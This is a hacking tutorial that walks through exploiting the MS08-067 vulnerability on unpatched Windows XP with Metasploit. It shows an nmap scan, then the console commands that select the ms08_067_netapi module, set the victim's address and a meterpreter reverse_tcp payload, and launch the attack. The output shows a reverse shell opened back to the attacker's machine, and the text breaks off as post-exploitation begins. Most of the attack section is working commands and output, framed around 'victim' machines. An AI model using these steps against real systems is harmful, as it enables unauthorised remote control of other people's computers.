Hack windows xp with MS08-067 exploit

Hello Friends,

Using metasploit its possible to hack windows xp machines just by using the ip address of the victim machine. It does not involve installing any backdoor or trojan server on the victim machine. Metasploit does this by exploiting a vulnerability in windows samba service called ms08-67. This exploit works on windows xp upto version xp sp3.

The vulnerability/exploit module inside metasploit is:

Name: Microsoft Server Service Relative Path Stack Corruption
Module: exploit/windows/smb/ms08_067_netapi

Further details and references to the vulnerability can be found at the following pages
http://cvedetails.com/cve/2008-4250/
http://www.osvdb.org/49243
http://www.microsoft.com/technet/security/bulletin/MS08-067.mspx
http://www.rapid7.com/vulndb/lookup/dcerpc-ms-netapi-netpathcanonicalize-dos
Note : This exploit is old as of now and will work only if the windows xp on the target machine is unpatched and not running any firewalls. If you were to scan a range of ip addresses to discover online windows xp machines, then most of them would likely be patched ( through automatic updates ).
So if you want to test and practise this exploit, setup a vulnerable unpatched xp system.

Scan for open ports

Before exploiting the xp machine with metasploit it is a good idea to scan for open ports using nmap to confirm that ports are accessible and accepting connections. Here is a quick example

========================================================================

root@kali:~# nmap -n -sV 192.168.1.4

Starting Nmap 6.25 ( http://nmap.org ) at 2013-05-03 06:27 PDT
Nmap scan report for 192.168.1.4
Host is up (0.00051s latency).
Not shown: 996 closed ports
PORT     STATE SERVICE      VERSION
135/tcp  open  msrpc        Microsoft Windows RPC
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds Microsoft Windows XP microsoft-ds
2869/tcp open  http         Microsoft HTTPAPI httpd 1.0 (SSDP/UPnP)
MAC Address: 08:00:27:D3:2C:37 (Cadmus Computer Systems)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.52 seconds

==================================================================================

Check the port number 445. It is running the microsoft-ds samba service.
 This service is used to share printers and files across the network. It
 is this service that is vulnerable to the above mentioned exploit and 
would be hacked next using metasploit. 

Exploit using metasploit

1. The exploit is quite easy to launch. Start msfconsole.

Using notepad to track pentests? Have Metasploit Pro report on hosts,
services, sessions and evidence -- type 'go_pro' to launch it now.

       =[ metasploit v4.6.0-dev [core:4.6 api:1.0]
+ -- --=[ 1059 exploits - 595 auxiliary - 175 post
+ -- --=[ 277 payloads - 29 encoders - 8 nops

msf >

2. Select the exploit with 'use' command.

msf > use exploit/windows/smb/ms08_067_netapi msf exploit(ms08_067_netapi) >

If you want to read information about the exploit then type 'info' and hit enter.

3. See the options available

The important option to set is the RHOST (Remote Host). This is the ip address of the victim machine that is running the vulnerable windows xp. In this example the ip address is 192.168.1.4
So set the option

msf exploit(ms08_067_netapi) > set RHOST 192.168.1.4
RHOST => 192.168.1.4
msf exploit(ms08_067_netapi) >

4. Select the payload
Next comes the payload. Payload is that piece of code that runs along with the exploit and provides the hacker with a reverse shell. We are going to use the windows meterpreter payload. If you want to see all the available payloads then use the 'show payloads' command.

msf exploit(ms08_067_netapi) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp

Why meterpreter ? Because meterpreter is a very powerful kind of reverse shell that has lots of functionality already built in. The functionality includes common post exploitation tasks like scanning the target's network, hardware, accessing devices etc. Meterpreter can also start a vnc session.
5. Check options once again
Now that we have selected out payload, its time to check the options once again.

Now the options also include the payload options. The important options to set are LHOST and LPORT. The LHOST is the ip address of local machine or hacker machine. The LPORT is the port number on which the reverse shell listener will receive the incoming shell.
So setup the correct values

6. Launch the exploit
Now metasploit is all configured to launch the exploit. Enter 'exploit' and hit enter.

msf exploit(ms08_067_netapi) > exploit

[*] Started reverse handler on 192.168.1.33:6666 
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (752128 bytes) to 192.168.1.4
[*] Meterpreter session 2 opened (192.168.1.33:6666 -> 192.168.1.4:1044) at 2013-05-03 03:27:25 -0700

meterpreter >

If it runs correctly you finally get the meterpreter shell. Type in help and hit enter to see what commands are available.
Lets try running some of the common commands.

Post Exploitation with meterpreter

Get system information

The 'sysinfo' command will get the system information of victim machine.